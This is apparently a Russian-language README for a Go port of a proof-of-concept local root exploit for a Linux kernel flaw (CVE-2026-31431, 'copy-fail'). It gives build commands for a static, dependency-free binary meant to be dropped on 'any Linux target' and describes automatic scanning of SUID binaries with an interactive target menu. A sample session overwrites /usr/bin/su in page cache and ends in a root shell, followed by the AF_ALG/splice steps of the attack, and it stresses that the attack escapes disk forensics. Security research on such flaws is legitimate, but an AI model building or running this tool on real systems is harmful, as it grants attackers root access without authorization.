
Go-порт PoC для повышения привилегий в ядре Linux CVE-2026-31431 (copy-fail) с автоматическим перебором SUID-бинарников и интерактивным выбором цели.
Go-порт Python PoC от grenkoca для CVE-2026-31431 (copy-fail).
Эта версия компилируется в полностью статический бинарник без каких-либо зависимостей времени выполнения — ни Python, ни pip, ни ограничений по версии libc. Закиньте его на любой Linux-таргет и запустите. Он также автоматически перечисляет все SUID-бинарники, доступные для чтения всем пользователям, и позволяет интерактивно выбрать, какой из них эксплуатировать.
Только для авторизованных исследований безопасности и использования в CTF.
Обнаружена компанией Theori и публично раскрыта 29 апреля 2026 года. Copy.Fail — это логическая ошибка в криптомодуле algif_aead ядра Linux, появившаяся в результате оптимизации 2017 года. Она затрагивает все основные дистрибутивы Linux начиная с 2017 года.
Манипулируя криптоинтерфейсом AF_ALG ядра, непривилегированный атакующий может записывать управляемые данные напрямую в page cache Linux — представление доверенных системных бинарников в памяти. Это позволяет временно перехватывать такие бинарники, как /usr/bin/su, не изменяя файл на диске, что делает дисковую криминалистику слепой к атаке.
В отличие от многих LPE-уязвимостей, зависящих от гонок или утечек адресов ядра, Copy.Fail отличается высокой надёжностью и стабильно работает с обычной пользовательской учётной записью.
Воздействие:
Затронутые ядра: Все дистрибутивы начиная с 2017 года. Конкретный диапазон версий см. в оригинальном PoC grenkoca.
| Инструмент | Версия |
|---|---|
| Go | 1.21+ |
git clone https://github.com/3jee/copy-fail-go
cd copy-fail-go
go build -o copy-fail .
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-s -w" -o copy-fail .
Флаги -s -w удаляют отладочную информацию для уменьшения размера бинарника. CGO_ENABLED=0 создаёт полностью статический бинарник без зависимости от libc — закиньте его на любой Linux-таргет независимо от версии glibc.
| Целевая платформа | Команда |
|---|---|
| Linux ARM64 | GOOS=linux GOARCH=arm64 CGO_ENABLED=0 go build -o copy-fail . |
| Linux 32-bit x86 | GOOS=linux GOARCH=386 CGO_ENABLED=0 go build -o copy-fail . |
Передайте бинарник на таргет и выполните его (root не требуется):
./copy-fail
Пример сеанса:
CVE-2026-31431 (copy-fail) - Go PoC
Based on grenkoca's original PoC
Scanning for SUID world-readable binaries...
SUID world-readable binaries found:
------------------------------------
[1] /usr/bin/su
[2] /usr/bin/sudo
[3] /usr/bin/passwd
[4] /usr/bin/newgrp
Select target [1-4]: 1
[*] Targeting: /usr/bin/su
[*] Writing 48 bytes to /usr/bin/su...
[+] Write complete. Executing target...
# whoami
root
O_RDONLY — права на запись не нужны.AF_ALG (SOCK_SEQPACKET), привязанный к AEAD-трансформации authencesn(hmac(sha256),cbc(aes)).sendmsg с флагом MSG_MORE и управляющими сообщениями SOL_ALG для постановки криптооперации в очередь против записи page cache целевого файла.splice(2) для перемещения страниц из файла в сокет ALG, запуская уязвимый путь ядра, который записывает изменённые страницы page cache обратно без повторной проверки прав на файл.| Оригинал (Python) | Этот репозиторий (Go) |
|---|
| Язык | Python 3 | Go 1.21+ |
| Цель | Жёстко заданный /usr/bin/su | Автоопределение при сканировании живой файловой системы |
| Выбор цели | Отсутствует | Интерактивное нумерованное меню |
| Распространение | Скрипт | Один статический бинарник (без зависимостей времени выполнения) |